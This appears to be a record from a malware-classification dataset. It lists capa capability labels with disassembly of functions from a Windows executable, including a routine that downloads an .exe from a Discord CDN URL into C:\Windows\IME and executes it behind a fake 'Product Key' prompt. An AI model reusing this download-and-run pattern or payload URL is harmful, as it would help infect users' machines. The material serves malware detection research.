joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400017c0
Capabilities:
Create process on windows
Download url
Execute command
Receive data
Terminate process

Disassembly:
sub rsp, 0x38
lea rcx, [0x14005e394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:WindowsIMEen_US123.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1256300246703538309_1266670073280467018_123.exe_ex66a5fdefis66a4ac6fhmfc5e91692fc5c88d761c3716fa46ebe664ca92462376685949b5ab4b825afccb
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test eax, eax
jne 0x140001891
lea rdx, [0x14005e398]
call fcn.140002290
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x14005e3a4]
call fcn.140002290
mov rcx, rax
lea rdx, [0x140002470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, str.C:WindowsIMEen_US123.exe
mov qword [rsp + 0x20], 0
lea rdx, [0x14005e3a8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
cmp eax, 0x20
jg 0x14000187c
lea rdx, str.Failed_to_open_file:
call fcn.140002290
lea rdx, str.C:WindowsIMEen_US123.exe
jmp 0x1400018d1
lea rdx, str.Opened_file_successfully:
call fcn.140002290
lea rdx, str.C:WindowsIMEen_US123.exe
jmp 0x1400018d1
lea rdx, str.__ne_1m_Failed_to_download_from
call fcn.140002290
mov rcx, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1256300246703538309_1266670073280467018_123.exe_ex66a5fdefis66a4ac6fhmfc5e91692fc5c88d761c3716fa46ebe664ca92462376685949b5ab4b825afccb
call fcn.140002290
mov rcx, rax
lea rdx, str._to
call fcn.140002290
mov rcx, rax
lea rdx, str.C:WindowsIMEen_US123.exe
call fcn.140002290
lea rdx, [0x14005e420]
mov rcx, rax
call fcn.140002290
lea rdx, [0x140002470]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [0x14005e394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001cb0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0xa0
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0x40]
call fcn.140002620
nop
lea rcx, [rsp + 0x40]
call fcn.1400016e0
lea rdx, str.clz3jsuhr002qns01wfvk8qvt
lea rcx, [rsp + 0x20]
call fcn.140001f20
nop
lea rcx, [rsp + 0x20]
call fcn.14002ce30
nop
lea rcx, [rsp + 0x20]
call fcn.140001ec0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov r9d, 2
mov r8b, 0xf5
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rcx, str.mode_70_10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001900
lea rdx, [0x14005e504]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026b0
lea rdx, [0x14005e504]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026b0
lea rdx, [0x14005e504]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026b0
lea rcx, [rsp + 0x50]
call fcn.140001f60
nop
lea rdx, str._n________e_81mProduct_Key_:e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400026b0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140002890
nop
lea rcx, [0x14005e394]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x20]
call fcn.140001720
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140021bc4
nop
lea rcx, [rsp + 0x20]
call fcn.140001ec0
lea rcx, [rsp + 0x70]
call fcn.140001720
nop
call fcn.1400017c0
nop
lea rcx, [rsp + 0x50]
call fcn.140001ec0
nop
cmp dword [rsp + 0x48], 0
je 0x140001e27
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.1400513f0
add rsp, 0xa0
pop rbx
ret

Function at 0x140002620
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.140051410
lea rcx, [0x140001a40]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140003120]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14000269d
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400513f0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14000be88
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_recv]
movsxd rbx, eax
test eax, eax
jns 0x14000bed4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000beb0
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret

Function at 0x14000bef4
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000bf3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bf14
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000bf58
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
mov ecx, dword [r14]
xor r9d, r9d
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rsi
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000bfa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bf78
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x14000bfbc
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov rdi, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov r9d, dword [rdi]
mov r8d, dword [rsi]
mov rdx, qword [r14]
mov rcx, qword [r15]
call qword [sym.imp.WS2_32.dll_send]
movsxd rbx, eax
test eax, eax
jns 0x14000c008
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000bfe4
mov rsi, qword [rsp + 0x38]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14000c028
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rdi, qword [rcx + 0x20]
mov rsi, qword [rcx + 0x18]
mov rbp, qword [rcx + 0x10]
mov r14, qword [rcx + 8]
mov r15, qword [rcx]
mov ecx, dword [r15]
mov r9, rsi
inc ecx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov rdx, r14
call qword [sym.imp.WS2_32.dll_select]
movsxd rbx, eax
test eax, eax
jns 0x14000c07e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x14000c053
mov rbp, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x1400191e8
Capabilities:
Connect socket
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov dword [rax + 8], 1
mov rbx, r8
mov rdi, rcx
mov rcx, rsi
lea r8, [rax + 8]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov r8d, dword [rbx + 0x10]
mov rcx, rsi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jns 0x140019279
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140019252
mov rax, qword [rdi + 8]
mov dword [rax], 2
xor al, al
jmp 0x14001933d
mov r8, qword [rdi + 0x18]
mov rcx, rsi
mov rdx, qword [rdi + 0x10]
mov r8, qword [r8]
mov rdx, qword [rdx]
call fcn.14002d768
mov ecx, eax
mov rax, qword [rdi + 8]
mov dword [rax], ecx
mov rax, qword [rdi + 8]
cmp dword [rax], 0
jne 0x14001924b
and dword [rsp + 0x40], 0
lea r8, [rsp + 0x40]
mov edx, 0x8004667e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rax, qword [rdi + 0x28]
lea r9, [rsp + 0x40]
movabs r14, 0x20c49ba5e353f7cf
mov dword [rsp + 0x20], 4
mov ebx, 0xffff
mov r8d, 0x1006
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, qword [rdi + 0x20]
imul ecx, dword [rax], 0x3e8
add edx, ecx
mov rcx, rsi
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14001cd70
Capabilities:
Parse credit card information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
xor al, al
mov ecx, dword [rcx + 0x7c]
cmp ecx, 0xffffffff
je 0x14001cefd
cmp ecx, 0x7c
je 0x14001cefd
cmp ecx, 0x29
jne 0x14001cdea
cmp dword [rdi + 0x1c], 0
jne 0x14001cefd
lea rbx, [rdi + 0x80]
test dword [rbx], 0x10000000
je 0x14001cf16
cmp ecx, 0x5d
jne 0x14001cdc7
test dword [rbx], 0x10000000
je 0x14001cf24
mov dl, byte [rdi + 0x78]
lea rcx, [rdi + 0x40]
call fcn.14001c364
mov rcx, rdi
call fcn.140020e34
mov rcx, rdi
call fcn.140020ea8
mov ecx, dword [rdi + 0x7c]
mov al, 1
jmp 0x14001cd82
lea rbx, [rdi + 0x80]
cmp ecx, 0x2e
jne 0x14001ce01
lea rcx, [rdi + 0x40]
call fcn.14001c5ec
jmp 0x14001cdd3
cmp ecx, 0x5c
jne 0x14001ce4f
mov rcx, rdi
call fcn.140020e34
test byte [rbx], 0x80
je 0x14001ce45
mov al, byte [rdi + 0x78]
cmp al, 0x62
jne 0x14001ce2d
lea rcx, [rdi + 0x40]
call fcn.14001cd64
mov rcx, rdi
call fcn.140020e34
jmp 0x14001cde3
cmp al, 0x42
jne 0x14001ce45
lea rcx, [rdi + 0x40]
call fcn.14001cd64
lea rcx, [rdi + 0x40]
call fcn.140020dd0
jmp 0x14001ce23
mov rcx, rdi
call fcn.14001cf40
jmp 0x14001cddb
cmp ecx, 0x5b
jne 0x14001ce7a
mov rcx, rdi
call fcn.140020e34
mov rcx, rdi
call fcn.14001d948
mov edx, 0x5d
mov rcx, rdi
lea r8d, [rdx - 0x59]
call fcn.14001f624
jmp 0x14001cddb
cmp ecx, 0x28
jne 0x14001ceaf
mov rcx, rdi
call fcn.140020e34
mov rcx, rdi
call fcn.140021670
mov edx, 0x29
mov rcx, rdi
mov bl, al
lea r8d, [rdx - 0x24]
call fcn.14001f624
test bl, bl
je 0x14001cde3
jmp 0x14001cddb
cmp ecx, 0x5e
jne 0x14001cec2
lea rcx, [rdi + 0x40]
call fcn.14001c358
jmp 0x14001ce23
cmp ecx, 0x24
jne 0x14001ced5
lea rcx, [rdi + 0x40]
call fcn.14001c6ec
jmp 0x14001ce23
lea eax, [rcx - 0x2a]
cmp eax, 1
jbe 0x14001cf32
cmp ecx, 0x3f
je 0x14001cf32
cmp ecx, 0x7b
je 0x14001cf32
cmp ecx, 0x7d
jne 0x14001cdb6
test dword [rbx], 0x10000000
je 0x14001cf08
jmp 0x14001cdc7
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov edx, 6
mov rcx, rdi
call fcn.14001f618
int3
mov edx, 5
mov rcx, rdi
call fcn.14001f618
int3
mov edx, 4
mov rcx, rdi
call fcn.14001f618
int3
mov edx, 0xa
mov rcx, rdi
call fcn.14001f618
int3
Function at 0x140022cf0
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
and dword [rax - 0x38], 0
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
and qword [rcx + 0x10], 0
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], 0
mov dword [rax - 0x38], 1
mov rax, qword [rdx + 0x10]
cmp rax, 0xf
jbe 0x140022d5c
mov r8b, byte [rsp + 0x60]
mov rdx, rax
call fcn.140008dbc
and qword [rbx + 0x10], 0
mov rax, qword [rdi + 0x10]
xor esi, esi
lea r14d, [rsi - 6]
cmp qword [rdi + 0x18], 0x10
jb 0x140022d74
mov rbp, qword [rdi]
mov rcx, rbp
mov rdi, rbp
jmp 0x140022d7a
mov rbp, rdi
mov rcx, rdi
lea r12, [rax + rcx]
cmp rdi, r12
je 0x140022e9f
lea r8, [0x140058470]
shl esi, 8
movzx eax, byte [rbp]
add esi, eax
add r14d, 8
js 0x140022e17
movsxd r13, esi
movsxd rdi, r14d
lea ecx, [r14 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov r15d, edx
imul eax, edx, 0xfffffffa
add r14d, eax
mov rax, r13
mov rcx, rdi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140022df4
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022de9
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140022e0d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.140002cf0
lea r8, [0x140058470]
sub rdi, 6
sub r15, 1
jne 0x140022dba
inc rbp
cmp rbp, r12
jne 0x140022d8e
cmp r14d, 0xfffffffa
jle 0x140022e9f
lea ecx, [r14 + 8]
shl esi, 8
movsxd rax, esi
sar rax, cl
and eax, 0x3f
mov r9b, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 0x18]
jae 0x140022e8d
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022e5c
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140022e9f
cmp rcx, qword [rbx + 0x18]
jae 0x140022e8a
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140022e82
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x140022e9f
mov r9b, 0x3d
mov r8b, byte [rsp + 0x60]
mov edx, 1
mov rcx, rbx
call fcn.140002cf0
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x140022e67
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140026770
Capabilities:
Resolve dns

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x470
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov r14d, 2
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov rbx, rcx
cmp word [rcx], r14w
je 0x1400267b1
cmp word [rcx], 0x17
jne 0x140026855
movzx ecx, word [rcx + 2]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
xor edx, edx
mov dword [rsi], eax
lea rcx, [rsp + 0x50]
mov esi, 0x401
mov r8d, esi
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], r14d
lea r8, [rsp + 0x50]
xor r14d, r14d
mov r9d, esi
mov dword [rsp + 0x28], r14d
mov edx, ebp
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x140026855
lea rax, [rsp + 0x50]
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x140026806
cmp rbx, qword [rdi + 0x18]
ja 0x14002683c
cmp qword [rdi + 0x18], 0x10
mov rsi, rdi
jb 0x140026822
mov rsi, qword [rdi]
mov r8, rbx
mov qword [rdi + 0x10], rbx
lea rdx, [rsp + 0x50]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], r14b
jmp 0x140026851
mov r8b, byte [rsp + 0x40]
lea r9, [rsp + 0x50]
mov rdx, rbx
mov rcx, rdi
call fcn.140008880
mov al, 1
jmp 0x140026857
xor al, al
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.1400513f0
add rsp, 0x470
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140026878
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140026884
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400268d9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140026770
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400513f0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x140026884
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140026884
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400268d9
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140026770
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400513f0
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret
Function at 0x140047a1c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
xor r15d, r15d
lea r12, [0x140000000]
movzx eax, byte [r15 + r12 + 0x5dde0]
mov edi, eax
mov r8d, eax
shr edi, 5
mov r11d, eax
shr r8d, 6
mov ebp, edi
lea edx, [rax + rax]
shr r11d, 7
xor edx, eax
and ebp, 4
mov r10d, edi
mov r9d, r8d
and edi, 1
and r10d, 2
imul ecx, edi, 0x1b000000
and r8d, 1
lea ebx, [rdx + rdx]
and r9d, 2
lea edx, [rdx*4]
xor ebx, eax
xor edx, eax
shl ebx, 0x19
shl edx, 8
mov esi, eax
xor rbx, rcx
mov r14d, eax
imul ecx, r10d, 0x1b000000
xor rbx, rcx
imul ecx, r8d, 0x1b000000
xor rbx, rcx
imul ecx, r9d, 0x1b000000
xor rbx, rcx
imul ecx, ebp, 0x1b000000
xor rbx, rcx
imul ecx, r11d, 0x1b000000
xor rbx, rcx
imul ecx, edi, 0x11b00
xor rdx, rcx
imul ecx, r10d, 0x11b00
xor rdx, rcx
imul ecx, r8d, 0x11b00
xor rdx, rcx
imul ecx, r9d, 0x11b00
xor rdx, rcx
imul ecx, ebp, 0x11b00
xor rdx, rcx
imul ecx, edi, 0x11b0000
or rbx, rdx
lea edx, [rax*8]
xor edx, eax
lea eax, [rax*4]
shl edx, 0x10
xor eax, r14d
xor rdx, rcx
imul ecx, r10d, 0x11b0000
xor rdx, rcx
imul ecx, ebp, 0x11b0000
xor rdx, rcx
imul ecx, edi, 0x11b
or rbx, rdx
lea edx, [rax + rax]
xor rdx, rcx
imul ecx, r10d, 0x11b
xor rdx, rcx
imul ecx, ebp, 0x11b
xor rdx, rcx
imul ecx, r11d, 0x11b
xor rdx, rcx
xor rdx, rsi
or rdx, rbx
shl rdx, 0x20
or rdx, rbx
or rdx, rsi
mov qword [r12 + r15*8 + 0x776d0], rdx
inc r15
cmp r15, 0x100
jl 0x140047a3f
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov byte [0x140077ed1], 1
pop r15
pop r14
pop r12
ret

Function at 0x140047ba8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r11d, r11d
lea rbx, [0x140000000]
movzx r9d, byte [r11 + rbx + 0x5dce0]
mov edx, r9d
shr edx, 7
imul r10d, edx, 0x1b000000
lea r8d, [r9 + r9]
imul ecx, edx, 0x11b
mov eax, r8d
shl eax, 0x18
xor r10, rax
mov eax, r9d
shl eax, 8
or eax, r9d
shl eax, 8
or r10, rax
mov eax, r8d
xor rcx, rax
xor rcx, r9
or rcx, r10
shl rcx, 0x20
or rcx, r10
mov qword [rbx + r11*8 + 0x76ec0], rcx
inc r11
cmp r11, 0x100
jl 0x140047bb7
and qword [0x1400776c8], 0
and qword [0x1400776c0], 0
mov rbx, qword [rsp + 8]
mov byte [0x140077ed0], 1
ret
Function at 0x14004966c
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, r8
mov rdi, rdx
mov ecx, dword [0x140077fd0]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140077ee0], ecx
jg 0x14004974e
mov eax, ebx
cmp rbx, rax
jne 0x140049710
xor ecx, ecx
test rbx, rbx
setne cl
xor eax, eax
test ebx, ebx
setne al
cmp ecx, eax
jne 0x140049710
xor r9d, r9d
mov r8d, ebx
mov rdx, rdi
mov rcx, qword [0x140077ed8]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x140049791
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400513f0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 0x5b6
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.GenerateBlock_size
lea rcx, [rsp + 0x20]
call fcn.140001f20
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14004939c
lea rdx, [0x14006dc88]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x140077ee0]
call fcn.140051aac
cmp dword [0x140077ee0], 0xffffffff
jne 0x1400496b8
lea rcx, [0x140077ed8]
call fcn.1400492b0
lea rcx, [0x140054e58]
call fcn.1400519ec
nop
lea rcx, [0x140077ee0]
call fcn.140051a40
jmp 0x1400496b8
mov ecx, eax
call fcn.1400497d4
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [0x14005c868]
lea rcx, [rsp + 0x20]
call fcn.140001f20
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14004939c
lea rdx, [0x14006dc88]
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3

Function at 0x14004abd8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
cmp r8, 8
jb 0x14004ac4b
mov rbp, r8
shr rbp, 3
imul rax, rbp, 0xfffffffffffffff8
add rdi, rax
mov r8d, 8
lea rcx, [rsp + 0x58]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 8
lea rcx, [rsp + 0x50]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x50]
add rsi, 8
xor rax, qword [rsp + 0x58]
add rbx, 8
or r14, rax
sub rbp, 1
jne 0x14004ac0a
mov rcx, r14
shr rcx, 0x20
or ecx, r14d
mov edx, ecx
mov eax, ecx
shr edx, 8
or edx, ecx
